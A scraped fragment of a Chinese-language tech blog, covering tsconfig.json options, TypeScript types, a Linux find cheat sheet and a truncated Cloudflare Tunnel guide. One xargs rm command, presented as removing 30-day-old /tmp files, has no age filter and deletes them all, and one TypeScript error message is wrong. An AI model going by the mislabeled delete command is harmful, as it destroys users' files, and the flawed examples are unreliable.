文件。若指定 files，則只會編譯指定的檔案。 references： 指定要引用的專案。有時候為了方便將前端項目和後端 node 項目放在同一個目錄下開發，兩個項目依賴同一個配置文件和通用文件。 typeAcquisition： 設置自動引入函式庫相關定義文件。包含 3 個子屬性： enable： 布林類型，是否開啟自動引入庫類型定義文件(.d.ts)，默認為 false； include： 數組類型，允許自動引入的函式庫名，如：[\u0026ldquo;jquery\u0026rdquo;, \u0026ldquo;lodash\u0026rdquo;]； exculde： 數組類型，排除的函式庫名； 概括\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 { \u0026#34;compileOnSave\u0026#34;: false, // 編輯器在儲存檔案的時候根據 tsconfig.json 重新產生編譯檔案 \u0026#34;compilerOptions\u0026#34;: { /* 基本選項 */ \u0026#34;target\u0026#34;: \u0026#34;es5\u0026#34;, // 指定編譯生成的 JS 版本: \u0026#39;ES3\u0026#39; (default), \u0026#39;ES5\u0026#39;, \u0026#39;ES6\u0026#39;/\u0026#39;ES2015\u0026#39;, \u0026#39;ES2016\u0026#39;, \u0026#39;ES2017\u0026#39;, or \u0026#39;ESNEXT\u0026#39; \u0026#34;module\u0026#34;: \u0026#34;commonjs\u0026#34;, // 指定生成哪種模組: \u0026#39;commonjs\u0026#39;, \u0026#39;amd\u0026#39;, \u0026#39;system\u0026#39;, \u0026#39;umd\u0026#39; or \u0026#39;es2015\u0026#39; \u0026#34;lib\u0026#34;: [], // 編譯需要引入的特定函式庫檔案 \u0026#34;allowJs\u0026#34;: true, // 允許編譯 javascript 文件 \u0026#34;checkJs\u0026#34;: true, // 報告 javascript 文件中的錯誤 \u0026#34;jsx\u0026#34;: \u0026#34;preserve\u0026#34;, // 指定 jsx 代碼的生成: \u0026#39;preserve\u0026#39;, \u0026#39;react-native\u0026#39;, or \u0026#39;react\u0026#39; \u0026#34;declaration\u0026#34;: true, // 生成相應的 \u0026#39;.d.ts\u0026#39; 文件 \u0026#34;declarationMap\u0026#34;: true, // 生成宣告檔案的 sourceMap \u0026#34;sourceMap\u0026#34;: true, // 生成相應的 \u0026#39;.map\u0026#39; 文件 \u0026#34;outFile\u0026#34;: \u0026#34;./\u0026#34;, // 將輸出文件合併為一個文件 \u0026#34;outDir\u0026#34;: \u0026#34;./\u0026#34;, // 指定輸出目錄 \u0026#34;rootDir\u0026#34;: \u0026#34;./\u0026#34;, // 檔案應該要被放置的位置 \u0026#34;composite\u0026#34;: true, // 是否編譯構建引用項目 \u0026#34;tsBuildInfoFile\u0026#34;: \u0026#34;./\u0026#34;, // 指定文件存儲增量編譯信息，默認為 tsconfig.tsbuildinfo \u0026#34;removeComments\u0026#34;: true, // 刪除編譯後的所有的註釋 \u0026#34;noEmit\u0026#34;: true, // 不產生輸出檔案 \u0026#34;importHelpers\u0026#34;: true, // 從 tslib 導入輔助工具函數 \u0026#34;isolatedModules\u0026#34;: true, // 將每個文件做為單獨的 module(與 \u0026#39;ts.transpileModule\u0026#39; 類似) /* 嚴格的類型檢查選項 */ \u0026#34;strict\u0026#34;: true, // 啟用所有嚴格類型檢查選項 \u0026#34;noImplicitAny\u0026#34;: true, // 在表達式和聲明上有隱含的 any 類型時報錯 \u0026#34;strictNullChecks\u0026#34;: true, // 啟用嚴格的 null 檢查 \u0026#34;strictFunctionTypes\u0026#34;: true, // 啟用檢查 function 型別 \u0026#34;strictBindCallApply\u0026#34;: true, // 啟用對 bind、call、apply 更嚴格的型別檢查 \u0026#34;strictPropertyInitialization\u0026#34;: true, // 啟用 class 實例屬性的賦值檢查 \u0026#34;noImplicitThis\u0026#34;: true, // 當 this 表達式值為 any 類型的時候，生成一個錯誤 \u0026#34;alwaysStrict\u0026#34;: true, // 以嚴格模式檢查每個 module，並在每個文件裡加入 \u0026#39;use strict\u0026#39; /* 額外的檢查 */ \u0026#34;noUnusedLocals\u0026#34;: true, // 有未使用的變數時，拋出錯誤 \u0026#34;noUnusedParameters\u0026#34;: true, // 有未使用的參數時，拋出錯誤 \u0026#34;noImplicitReturns\u0026#34;: true, // 並不是所有 function 裡的代碼都有返回值時，拋出錯誤 \u0026#34;noFallthroughCasesInSwitch\u0026#34;: true, // 報告 switch 語句的 fallthrough 錯誤。 (即不允許 switch 的 case 語句貫穿) \u0026#34;noUncheckedIndexedAccess\u0026#34;: true, // 檢查 index signature 屬性是否是 undefined /* 模組選項 */ \u0026#34;moduleResolution\u0026#34;: \u0026#34;node\u0026#34;, // 選擇模組解析策略： \u0026#39;node\u0026#39; (Node.js) or \u0026#39;classic\u0026#39; (TypeScript pre-1.6) \u0026#34;baseUrl\u0026#34;: \u0026#34;./\u0026#34;, // 用於解析非相對模組名稱的基目錄 \u0026#34;paths\u0026#34;: {}, // 模組名到基於 baseUrl 的路徑映射的列表 \u0026#34;rootDirs\u0026#34;: [], // 根文件夾列表，其組合內容表示項目運行時的結構內容 \u0026#34;typeRoots\u0026#34;: [], // 包含類型聲明的文件列表 \u0026#34;types\u0026#34;: [], // 需要包含的類型聲明文件名列表 \u0026#34;allowSyntheticDefaultImports\u0026#34;: true, // 允許從沒有設置默認導出的模組中默認導入 /* Source Map Options */ \u0026#34;sourceRoot\u0026#34;: \u0026#34;./\u0026#34;, // 指定調試器應該找到 TypeScript 文件而不是源文件的位置 \u0026#34;mapRoot\u0026#34;: \u0026#34;./\u0026#34;, // 指定調試器應該找到映射文件而不是生成文件的位置 \u0026#34;inlineSourceMap\u0026#34;: true, // 生成單個 soucemaps 文件，而不是將 sourcemaps 生成不同的文件 \u0026#34;inlineSources\u0026#34;: true, // 將代碼與 sourcemaps 生成到一個文件中，要求同時設置了 --inlineSourceMap 或 --sourceMap 屬性 /* 其他選項 */ \u0026#34;experimentalDecorators\u0026#34;: true, // 啟用裝飾器 \u0026#34;emitDecoratorMetadata\u0026#34;: true, // 為裝飾器提供元數據的支持 /* 進階選項 */ \u0026#34;skipLibCheck\u0026#34;: true, // 不會檢查引入的函式庫檔案 \u0026#34;forceConsistentCasingInFileNames\u0026#34;: true // 確保檔案的大小寫一致 }, \u0026#34;files\u0026#34;:[ \u0026#34;hello.ts\u0026#34; // 若指定 files，則只會編譯指定的 hello.ts 檔案 ], \u0026#34;exclude\u0026#34;: [ // 指定編譯器需要排除的文件或文件夾 \u0026#34;node_modules\u0026#34; ], \u0026#34;extends\u0026#34;: \u0026#34;./tsconfig.base.json\u0026#34;, // 把基礎配置抽離成 tsconfig.base.json 檔案，然後引入 \u0026#34;references\u0026#34;: [ // 指定依賴的程式路徑 { \u0026#34;path\u0026#34;: \u0026#34;./common\u0026#34; } ], \u0026#34;typeAcquisition\u0026#34;: { // 自動引入函式庫相關定義文件(.d.ts)。 \u0026#34;enable\u0026#34;: false, \u0026#34;exclude\u0026#34;: [\u0026#34;jquery\u0026#34;], \u0026#34;include\u0026#34;: [\u0026#34;jest\u0026#34;] } } TypeScript 資料型別整理表 先總結一些資料型別，接著再來詳細介紹各個型別。\nType 型別分類 說明 Example string primitive 字串型別 number primitive 數值型別 boolean primitive 布林型別 null primitive 空值型別，亦可賦值給所有型別(嚴謹模式則無法) undefined primitive undefined 型別，亦可賦值給所有型別(嚴謹模式則無法) object object 物件型別 array object 可使用「型別 + 方括號」或陣列泛型來表示陣列 function object 一個函式有輸入和輸出，可以針對參數(輸入)及返回值(輸出)進行型別規範 any ts 允許賦值為任意型別 unknown ts unknown 和 any 一樣可以接受任何型別賦值，但 any 可以賦值給任何型別，unknown 只能賦值給 any 和自己 void ts 沒有任何返回值的函式 never ts 表示不應該存在的狀態的型別，一般用於錯誤處理函式 union types ts 聯合型別(union type) 使用 ｜ 表示其定義的值可以為多種型別 intersection types ts 交集型別(intersection type) 使用 \u0026amp; 表示其定義的值都必須符合多種型別 literal types ts 某些特殊的\u0026quot;值\u0026quot;可以當作\u0026quot;型別\u0026quot;來使用 tuple ts tuple 就是合併了不同型別的物件 enum ts 列舉(enum)型別可以用來管理多個同系列的常數，作為狀態判斷使用 primitive： 原始型別 ts： typescript 的特殊型別\ntypescript 的特殊型別 any 如果你不希望某些值出現型別檢查錯誤，可以使用 any，他是用來表示允許賦值為任意型別。\n❌ 假設我們設定 favoriteNumber 變數的值的型別為 string，若使用數字則會報錯。\n1 2 3 let favoriteNumber: string = \u0026#39;seven\u0026#39;; favoriteNumber = 7; //error : Cannot assign to \u0026#39;favoriteNumber\u0026#39; because it is a constant. ✅ 這時候使用 any， 則允許任何型別。\n1 2 let favoriteNumber: any = \u0026#39;seven\u0026#39;; favoriteNumber = 7; 宣告一個變數為任意值之後，對它的任何操作，返回的內容的型別都是任意值。在 any 型別下，可以賦值給任何型別，使用任何屬性和方法，都是被允許的。\n但這樣是非常危險，非必要都不會使用 any，要慎用！\n未宣告型別的變數及參數也視為 any 型別 變數如果在宣告的時候，未指定其型別，那麼它會被識別為 any 型別：\n1 2 3 let something; // something: any something = 7; something = \u0026#34;seven\u0026#34;; 用 noImplicitAny，來提醒我使用了 any 如上面所述，未指定型別則被識為 any，如果你想避免這種情況，可以在 tsconfig 設定 noImplicitAny = true，或是打開 \u0026ldquo;strict\u0026rdquo;: true 開啟所有嚴謹模式。他就會提醒你使用了 any 型別。\n1 2 3 4 5 { // ... \u0026#34;noImplicitAny\u0026#34;: true, // ... } unknown unknow 可以接受任何型別賦值， 有點類似 any 類型， 但使用上比 any 安全，來看下面例子：\n1 2 3 4 5 6 7 function f1(a: any) { a.b(); // success } function f2(a: unknown) { a.b(); // error: Property \u0026#39;b\u0026#39; does not exist on type \u0026#39;unknown\u0026#39;. } 使用 unknow 會報錯，沒有 b 函式的屬性，而 any 則會不會告訴你。\n雖然 unknown 和 any 一樣可以接受任何型別賦值，但 any 可以賦值給任何型別，unknown 只能賦值給 any 和自己。\n1 2 3 4 5 6 7 8 9 10 let value: unknown; let value1: unknown = value; // success let value2: any = value; // success let value3: boolean = value; // error let value4: number = value; // error let value5: string = value; // error let value6: object = value; // error let value7: any[] = value; // error let value8: Function = value; // error void JavaScript 沒有空值(void)的概念，在 TypeScript 中，可以用 void 表示沒有任何返回值的函式，如以下例子，這個函式只有 alert，不會 return 任何值。\n1 2 3 function alertName(): void { alert(\u0026#39;My name is iris\u0026#39;); } never 表示不應該存在的狀態的型別，一般用於錯誤處理函式。\n1 2 3 function error(message: string): never { throw new Error(message); } 此外，以下面例子，參數使用 Union Types(聯合型別)，當參數被判斷沒有其他型別時，也會被視為 never。\n1 2 3 4 5 6 7 8 9 function fn(x: string | number) { if (typeof x === \u0026#34;string\u0026#34;) { // do something } else if (typeof x === \u0026#34;number\u0026#34;) { // do something else } else { x; // has type \u0026#39;never\u0026#39;! } } Union Types (聯合型別) 聯合型別(Union Types)表示取值可以為多種型別中的其中一種。跟JavaScript || or 的概念是一樣的。\n✅ 聯合型別使用 | 分隔每個型別。\n允許 id 的型別是 string 或者 number，但是不能是其他型別。\n1 2 3 4 5 function printId(id: number | string) { console.log(\u0026#34;Your ID is: \u0026#34; + id); } printId(101); // success printId(\u0026#34;202\u0026#34;); // success ❌ 若使用 boolean 值，就會報錯。\n1 2 printId(false); // error // error : Argument of type \u0026#39;false\u0026#39; is not assignable to parameter of type \u0026#39;string | number\u0026#39;.Type \u0026#39;false\u0026#39; is not assignable to type \u0026#39;number\u0026#39;. 存取聯合型別的屬性或方法 當 TypeScript 不確定一個聯合型別的變數到底是哪個型別的時候，我們只能存取此聯合型別的所有型別裡共有的屬性或方法。\n✅ 使用兩種型別都有的屬性時，沒問題。\n1 2 3 function printId(id: number | string) { console.log(id.toString()); } ❌ 如果使用不同屬性，則會報錯，toUpperCase 屬性無法適用於數值型別。\n1 2 3 4 5 6 function printId(id: number | string) { console.log(id.toUpperCase()); } // error: Property \u0026#39;toUpperCase\u0026#39; does not exist on type \u0026#39;string | number\u0026#39;. // Property \u0026#39;toUpperCase\u0026#39; does not exist on type \u0026#39;number\u0026#39;. 若要解決不同情境，可以使用 typeof 去做判斷。官網將這些情況限縮某個具體型別上的行為，稱作為 Narrowing。\n1 2 3 4 5 6 7 8 9 10 function printId2(id: number | string) { if (typeof id === \u0026#34;string\u0026#34;) { // 型別為字串才 toUpperCase console.log(id.toUpperCase()); } else { // 其他自動判定為 number 型別 console.log(id); } } printId2(\u0026#34;ABC\u0026#34;); 若是陣列型別與其他型別聯合，可以使用 Array.isArray() 來檢查傳入的值是否為一個 Array。\n1 2 3 4 5 6 7 8 function welcomePeople(x: string[] | string) { if (Array.isArray(x)) { console.log(\u0026#34;Hello, \u0026#34; + x.join(\u0026#34; and \u0026#34;)); } else { console.log(\u0026#34;Welcome lone traveler \u0026#34; + x); } } welcomePeople([\u0026#34;a\u0026#34;,\u0026#34;b\u0026#34;,\u0026#34;c\u0026#34;]); Intersection Types (交集型別) Intersection Types (交集型別) 跟 JavaScript 的 \u0026amp;\u0026amp; and 概念相同， 使用 \u0026amp; 表示其定義的值都必須同時符合兩種型別。\n❌ 以下面的例子，Intersection 在 primitive type(原始型別)中使用，是無法同時滿足兩種型別的，會被認定為 never 型別。\n1 2 3 4 5 6 7 function printId(id: number \u0026amp; string) { console.log(\u0026#34;Your ID is: \u0026#34; + id); } printId(101); // error printId(\u0026#34;202\u0026#34;); // error // error: Argument of type \u0026#39;number\u0026#39; is not assignable to parameter of type \u0026#39;never\u0026#39;. ✅ 主要用來組合現有的型別，若都沒符合兩種型別，則會報錯提醒。而且像下面的例子，ColorfulCircle 需滿足 Colorful 及 Circle 型別。 而且 TS 很聰明，radius 寫錯字寫成 raidus，complier 也會報錯提醒！\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 interface Colorful { color: string; } interface Circle { radius: number; } //用 type aliases 宣告 ColorfulCircle 型別，需滿足 Colorful 及 Circle 型別 type ColorfulCircle = Colorful \u0026amp; Circle; //帶入的參數需滿足 ColorfulCircle 型別 function draw(circle: ColorfulCircle) { console.log(`Color was ${circle.color}`); console.log(`Radius was ${circle.radius}`); } draw({ color: \u0026#34;blue\u0026#34;, radius: 42 }); // ok draw({ color: \u0026#34;red\u0026#34;, raidus: 42 }); // error // error: Argument of type \u0026#39;{ color: string; raidus: number; }\u0026#39; is not assignable to parameter of type \u0026#39;Colorful \u0026amp; Circle\u0026#39;. // Object literal may only specify known properties, but \u0026#39;raidus\u0026#39; does not exist in type \u0026#39;Colorful \u0026amp; Circle\u0026#39;. Did you mean to write \u0026#39;radius\u0026#39;? Literal Types 字面值型別 string literal types 就是值的表現方式，**某些特殊的\u0026quot;值\u0026quot;可以當作\u0026quot;型別\u0026quot;**來使用，用來約束取值只能是某幾個字串中的一個。如下方讓 x 變數的字面值為\u0026quot;hello\u0026quot;。\n1 2 3 let x: \u0026#34;hello\u0026#34; = \u0026#34;hello\u0026#34;; x = \u0026#34;hello\u0026#34;; // success x = \u0026#34;howdy\u0026#34;; // Type \u0026#39;\u0026#34;howdy\u0026#34;\u0026#39; is not assignable to type \u0026#39;\u0026#34;hello\u0026#34;\u0026#39; 但很少情況會使用到一個變數只有一個值，我們可以將想要的值結合起來， 如 alignment 給予 3 個字面值，其參數要符合其中一個。如果不符合這 3 個值的其中一個或寫錯字，都會報錯。\n1 2 3 4 5 6 function printText(s: string, alignment: \u0026#34;left\u0026#34; | \u0026#34;right\u0026#34; | \u0026#34;center\u0026#34;) { console.log(`${s} placed at the ${alignment}`) } printText(\u0026#34;Hello, world\u0026#34;, \u0026#34;left\u0026#34;); // success printText(\u0026#34;G\u0026#39;day, mate\u0026#34;, \u0026#34;centre\u0026#34;); // error // error: Argument of type \u0026#39;\u0026#34;centre\u0026#34;\u0026#39; is not assignable to parameter of type \u0026#39;\u0026#34;left\u0026#34; | \u0026#34;right\u0026#34; | \u0026#34;center\u0026#34;\u0026#39;. numeric literal types 除了文字上，數字的操作也一樣。\n執行 compare 函式的回傳值只能 -1、0 和 1：\n1 2 3 function compare(a: string, b: string): -1 | 0 | 1 { return a === b ? 0 : a \u0026gt; b ? 1 : -1; } non-literal types 非字面值型別也可以結合操作：\n1 2 3 4 5 6 7 8 9 10 interface Options { width: number; } function configure(x: Options | \u0026#34;auto\u0026#34;) { console.log(x); } configure({ width: 100 }); // success configure(\u0026#34;auto\u0026#34;); // success configure(\u0026#34;automatic\u0026#34;); // 不符 Options 及 \u0026#34;auto\u0026#34; // error： Argument of type \u0026#39;\u0026#34;automatic\u0026#34;\u0026#39; is not assignable to parameter of type \u0026#39;Options | \u0026#34;auto\u0026#34;\u0026#39;. Tuple 元組 Tuple 就是合併了不同型別的物件。\n定義一對值分別為 string 和 number 的元組：\n1 const wayne: [string, number] = [\u0026#39;wayne\u0026#39;, 18]; 可以針對型別有的屬性進行使用、賦值。但當直接對元組型別的變數進行初始化或者賦值，需提供所有項目。如果要新增不同型別的項目也是無法的：\n1 2 3 4 5 6 7 8 9 10 let wayne: [string, number]; wayne = [\u0026#39;wayne\u0026#39;, 18]; // 如果只有宣告 wayne 沒賦值，會是undefined，tsconfig strictNullChecks 打開的話會報錯提醒 wayne[0] = \u0026#39;wayne\u0026#39;; // success wayne[1] = 25; // success wayne[0].slice(1); // success wayne[1].toFixed(2); // success wayne.push(\u0026#39;male\u0026#39;); // success wayne = [\u0026#39;wayne lin\u0026#39;]; // error: Property \u0026#39;1\u0026#39; is missing in type \u0026#39;[string]\u0026#39; but required in type \u0026#39;[string, number]\u0026#39;. wayne.push(true); // error: Argument of type \u0026#39;true\u0026#39; is not assignable to parameter of type \u0026#39;string | number\u0026#39;. enum 列舉(Enums)型別用於取值被限定在一定範圍內的場景，可以用來管理多個同系列的常數，作為狀態判斷使用。比如一週只能有七天，顏色限定為紅綠藍等。也可以自定義來表示每一個值。\nNumeric Enums 使用 enum 關鍵字來定義：\n1 enum Days { Sun, Mon, Tue, Wed, Thu, Fri, Sat }; 這時候我們來看編譯後，列舉成員會被賦值為從 0 開始自動遞增的數字，同時也會對列舉值到列舉名進行反向對映：\n1 2 3 4 5 6 7 8 9 10 var Days; (function (Days) { Days[Days[\u0026#34;Sun\u0026#34;] = 0] = \u0026#34;Sun\u0026#34;; Days[Days[\u0026#34;Mon\u0026#34;] = 1] = \u0026#34;Mon\u0026#34;; Days[Days[\u0026#34;Tue\u0026#34;] = 2] = \u0026#34;Tue\u0026#34;; Days[Days[\u0026#34;Wed\u0026#34;] = 3] = \u0026#34;Wed\u0026#34;; Days[Days[\u0026#34;Thu\u0026#34;] = 4] = \u0026#34;Thu\u0026#34;; Days[Days[\u0026#34;Fri\u0026#34;] = 5] = \u0026#34;Fri\u0026#34;; Days[Days[\u0026#34;Sat\u0026#34;] = 6] = \u0026#34;Sat\u0026#34;; })(Days || (Days = {})); 手動賦值 可以手動去定義不同的值。\n1 enum Days { Sun = 7, Mon = 1, Tue, Wed, Thu, Fri, Sat }; 編譯後：\n1 2 3 4 5 6 7 8 9 10 var Days; (function (Days) { Days[Days[\u0026#34;Sun\u0026#34;] = 7] = \u0026#34;Sun\u0026#34;; Days[Days[\u0026#34;Mon\u0026#34;] = 1] = \u0026#34;Mon\u0026#34;; Days[Days[\u0026#34;Tue\u0026#34;] = 2] = \u0026#34;Tue\u0026#34;; Days[Days[\u0026#34;Wed\u0026#34;] = 3] = \u0026#34;Wed\u0026#34;; Days[Days[\u0026#34;Thu\u0026#34;] = 4] = \u0026#34;Thu\u0026#34;; Days[Days[\u0026#34;Fri\u0026#34;] = 5] = \u0026#34;Fri\u0026#34;; Days[Days[\u0026#34;Sat\u0026#34;] = 6] = \u0026#34;Sat\u0026#34;; })(Days || (Days = {})); 要小心覆蓋的情況 如果中間突然指定了了一個值，那他會從當前的值從新開始計算。如下， Days[3] 的值先是 \u0026ldquo;Sun\u0026rdquo;，而後又被 \u0026ldquo;Wed\u0026rdquo; 覆蓋了。這個 TypeScript 是不會報錯的，所以要特別注意。\n1 2 3 4 5 6 enum Days { Sun = 3, Mon = 1, Tue, Wed, Thu, Fri, Sat }; console.log(Days[\u0026#34;Sun\u0026#34;] === 3); // true console.log(Days[\u0026#34;Wed\u0026#34;] === 3); // true console.log(Days[3] === \u0026#34;Sun\u0026#34;); // false console.log(Days[3] === \u0026#34;Wed\u0026#34;); // true 可使用型別斷言(Type Assertion)來定義 手動賦值的列舉項其中一個不想是數字，此時可以使用 any 型別斷言來讓 TypeScript 無視型別檢查。\n1 enum Days { Sun = 7, Mon, Tue, Wed, Thu, Fri, Sat = \u0026lt;any\u0026gt;\u0026#34;S\u0026#34; }; 編譯後：\n1 2 3 4 5 6 7 8 9 10 var Days; (function (Days) { Days[Days[\u0026#34;Sun\u0026#34;] = 7] = \u0026#34;Sun\u0026#34;; Days[Days[\u0026#34;Mon\u0026#34;] = 8] = \u0026#34;Mon\u0026#34;; Days[Days[\u0026#34;Tue\u0026#34;] = 9] = \u0026#34;Tue\u0026#34;; Days[Days[\u0026#34;Wed\u0026#34;] = 10] = \u0026#34;Wed\u0026#34;; Days[Days[\u0026#34;Thu\u0026#34;] = 11] = \u0026#34;Thu\u0026#34;; Days[Days[\u0026#34;Fri\u0026#34;] = 12] = \u0026#34;Fri\u0026#34;; Days[Days[\u0026#34;Sat\u0026#34;] = \u0026#34;S\u0026#34;] = \u0026#34;Sat\u0026#34;; })(Days || (Days = {})); String Enums 字串列舉 字串 enums 沒有 number enums 可以自動遞增的行為，但字串 enum 自行定義是有他的語意在的。\n1 2 3 4 5 6 enum Direction { Up = \u0026#34;UP\u0026#34;, Down = \u0026#34;DOWN\u0026#34;, Left = \u0026#34;LEFT\u0026#34;, Right = \u0026#34;RIGHT\u0026#34;, } Heterogeneous Enums 異構列舉 雖然 enum 可以混合數字與字串，但盡量不要寫這種寫法：\n1 2 3 4 enum BooleanLikeHeterogeneousEnum { No = 0, Yes = \u0026#34;YES\u0026#34;, } Computed and constant members 常數項和計算所得項 列舉項有兩種型別：常數項(constant member)和計算所得項(computed member)。\n前面我們所舉的例子都是常數項，一個典型的計算所得項的例子如下，\u0026ldquo;blue\u0026rdquo;.length 就是一個計算所得項：\n1 2 enum Color { Red, Green, Blue = \u0026#34;blue\u0026#34;.length }; console.log(Color.Blue); // 4 如何定義是常數項，可參考官網。\n像是二元運算子 \u0026lt;\u0026lt;、|、\u0026amp; 等都歸為常數項：\n1 2 3 4 5 6 7 8 9 enum FileAccess { // constant members None, Read = 1 \u0026lt;\u0026lt; 1, Write = 1 \u0026lt;\u0026lt; 2, ReadWrite = Read | Write, // computed member G = \u0026#34;123\u0026#34;.length, } Const Enums 常數列舉 可以使用 const enum 定義的列舉型別：\n1 2 3 4 5 6 7 8 const enum Directions { Up, Down, Left, Right } let directions = [Directions.Up, Directions.Down, Directions.Left, Directions.Right]; 常數列舉與普通列舉的區別是，它會在編譯階段被刪除，並且不能包含 computed member (計算成員)，只能是常數項 (constant member)。\n編譯後：\n1 var directions = [0 /* Up */, 1 /* Down */, 2 /* Left */, 3 /* Right */]; Ambient Enums 外部列舉 外部列舉 (Ambient Enums) 是使用 declare enum 定義的列舉型別：\n1 2 3 4 5 6 7 8 declare enum Directions { Up, Down, Left, Right } let directions = [Directions.Up, Directions.Down, Directions.Left, Directions.Right]; declare 定義的型別只會用於編譯時的檢查，編譯結果中會被刪除。\n編譯後：\n1 var directions = [Directions.Up, Directions.Down, Directions.Left, Directions.Right]; ","date":"2023-03-07T00:00:00Z","image":"https://live.staticflickr.com/65535/52731863500_76db7b3738_o.png","permalink":"https://blog.wayne-project.com/2023-03-07/ts-config-and-type/","title":"【Typescript】tsconfig.json 的設定與資料型別介紹筆記"},{"content":" 參考網站\n參考網站\n參考網站\n在 Linux 平台下找檔案不外乎使用威力強大的 find 命令，威力強大的背後就是有一點點學習曲線，不過整體上來說還算簡單，因此想寫一篇文章留下備忘，讓自己日後可以快速查閱參考。\n基本語法 查詢檔案名稱 (也可以查詢「目錄名稱」，其中 * 是萬用字元)\n1 find $HOME -name \u0026#39;*.mp3\u0026#39; 註：$HOME 是 Linux 下的一個環境變數，預設指向執行帳號的 HOME 目錄\n查詢檔案名稱 (不區分大小寫) 1 find /etc -iname \u0026#39;Network\u0026#39; 指定只要搜尋「檔案」名稱 1 find /var/log -iname \u0026#39;*.log\u0026#39; -type f 指定只要搜尋「目錄」名稱 1 find /etc -iname \u0026#39;apache2\u0026#39; -type d 補充說明：可用的 -type 參數值如下\n指令參數 說明 b block (buffered) special c character (unbuffered) special d directory (一般目錄) p named pipe (FIFO) f regular file (一般檔案) l symbolic link s socket D door (Solaris) 找尋所有檔案大小大於 50MB 的檔案 1 find /var -type f -size +50M 註：不加上 -name 參數即代表搜尋所有檔案\n找尋所有檔案大小小於 50MB 的檔案 1 find /var -type f -size -50M 尋找超過 7 天沒有被存取或修改過的檔案 (判斷檔案存取時間) 1 find $HOME -type f -atime +7 尋找曾經在 7 天內被存取或修改過的檔案 (判斷檔案存取時間) 1 find $HOME -type f -atime -7 尋找超過 10 分鐘沒有被存取或修改過的檔案 (判斷檔案存取時間) 1 find $HOME -type f -amin +10 尋找曾經在 10 分鐘內被存取或修改過的檔案 (判斷檔案存取時間) 1 find $HOME -type f -amin -10 尋找檔案建立時間已超過 30 天的檔案 1 find $HOME -type f -ctime +30 尋找特定使用者的檔案 (以帳號名稱 wayne 為例) 1 find $HOME -type f -user wayne 進階應用 刪除 30 天以上未經存取過的暫存檔案 注意：以下指令最後一個分號(;)前一定要加上反斜線\n1 find /tmp -type f -atime +30 -print -exec rm -f \u0026#39;{}\u0026#39; \\; 加上 -print 是為了讓被刪除的檔案檔名一併顯示在畫面上，這個參數可以省略 使用 -exec 會讓查詢到的每一個檔案路徑代入 {} 位置，一個檔案會執行一遍 rm 命令 刪除 30 天以上未經存取過的暫存檔案 使用 xargs 當成單一命令的參數\n1 find /tmp -type f -print0 | xargs -0 rm -v 加上 -print0 是為了讓輸出的結果不以「斷行字元」分隔，而改以 null 為結果的分隔字元 使用 xargs 命令加上 -0 是為了讓傳入的資料以 null 字元當成參數的分隔 使用 rm 命令加上 -v 是為了能顯示出被刪除的檔案名稱，這個參數可以省略 使用 xargs 會將所有 find 命令查到的檔案轉換成 rm 的參數列，如果檔案過多可能會執行失敗! 使用 xargs 可確保後面的程式 (rm) 只執行一次，所以理論上執行速度較快！ 相同參數需輸入多筆並且以「或」邏輯運算時要用 -o 參數串接起來。\n例(一)：同時找兩種檔名樣式的檔案\n1 find $HOME -name \u0026#39;*.mp3\u0026#39; -o -name \u0026#39;*.ogg\u0026#39; 例(二)：同時找兩個擁有者的檔案\n1 find /usr/local -user user1 -o -user user2 注意事項 使用萬用字元時務必加上單引號( \u0026rsquo; )\n！！！以下是錯誤示範！！！\n1 find $HOME -name *.txt ","date":"2023-03-03T00:00:00Z","image":"https://live.staticflickr.com/65535/52722272752_8d023c0dc1_o.jpg","permalink":"https://blog.wayne-project.com/2023-03-03/linux-find/","title":"【find】在 Linux 使用 find 指令尋找目錄或檔案的速查筆記"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n以前曾經寫過一篇「透過 ngrok 產生臨時用的網址到指定機器」，這次要介紹的是類似的工具 Cloudflare Tunnel，他們有著共同的功能：\n我們有個本機的服務跑在 http://localhost:5000，想讓外部訪問 Cloudflare Tunnel 產生公共網址以及 Cloudflare 節點與本機間的「tunnel」 訪客訪問網址，Cloudflare 節點把請求透過 tunnel 轉送到我們本機的服務，並且把服務的回覆也透過 tunnel 反向的回傳 Cloudflare Tunnel（也稱為 Argo Tunnel）除了名字太長這個問題外，有著這些優勢：\nCloudflare Tunnel 與 ngrok 一樣是免費增值型服務，上述基本的 Cloudflare Tunnel 功能完全免費，進階的 Argo 則是收費的 Cloudflare Tunnel 可以搭配 Cloudflare 自家的 DNS 服務使用，也就是可以用自有的網址，而這在 ngrok 是要收費的 Cloudflare Tunnel 的服務會自動就近分配節點位置，而 ngrok 需要手動指定 安裝 Cloudflare Tunnel 使用 Cloudflare Tunnel 的前提當然是要有 Cloudflare 帳號，以及以 Cloudflare DNS 託管的網域，除這兩點外，我們得在主機上安裝 Cloudflare Tunnel 的代理程式 cloudflared，安裝檔參見 cloudflared 的下載頁。\n登入 初次使用時，須執行一次登入，讓 cloudflared 取得我們帳號的授權：\n1 cloudflared tunnel login 執行後會開啟授權網頁，選擇我們要授權 cloudflared 操作的網域，授權成功後，會獲得一個代表我們帳號的憑證檔在 ~/.cloudflared/cert.pem，後續的操作 cloudflared 會自動以此為證與 Cloudflare 服務互動。\n為了方便後續說明，在此我們假設授權的網域是 cccc.ws。\n如果 cccc.ws 上面已經有既有的 DNS 紀錄，並不會因為此動作而有被改掉的危機，不用擔心。\n建立 Tunnel 幫 tunnel 取個名字，這裡叫 local：\n1 cloudflared tunnel create local 這只是在 Cloudflare 建一個空的 tunnel 紀錄在案，還沒有真正可以連線的 tunnel。\n要檢視自身旗下所有 tunnel，使用命令 list：\n1 cloudflared tunnel list 會看到如下的輸出：\n1 2 3 4 $ You can obtain more detailed information for each tunnel with `cloudflared tunnel info \u0026lt;name/uuid\u0026gt;` $ ID NAME CREATED CONNECTIONS $ e6b1ea74-e6ad-4e36-b8b5-0f8f81ccafec local 2023-02-05T16:29:33Z $ 9ea66384-6ec7-4b6c-9a05-e57c08a32526 soda 2022-05-26T01:46:42Z 綁定 Tunnel 與網址 目前 tunnel 還沒有網址，給它一個：\n1 cloudflared tunnel route dns local local.cccc.ws 那 Cloudflare 會阻止我們這麼做：\n1 $ Failed to add route: code: 1003, reason: An A, AAAA, or CNAME record with that host already exists. 連接本地服務 有了 tunnel、有了網址，只剩把服務連上 tunnel 了。\n假設我們的機台上有個服務跑在 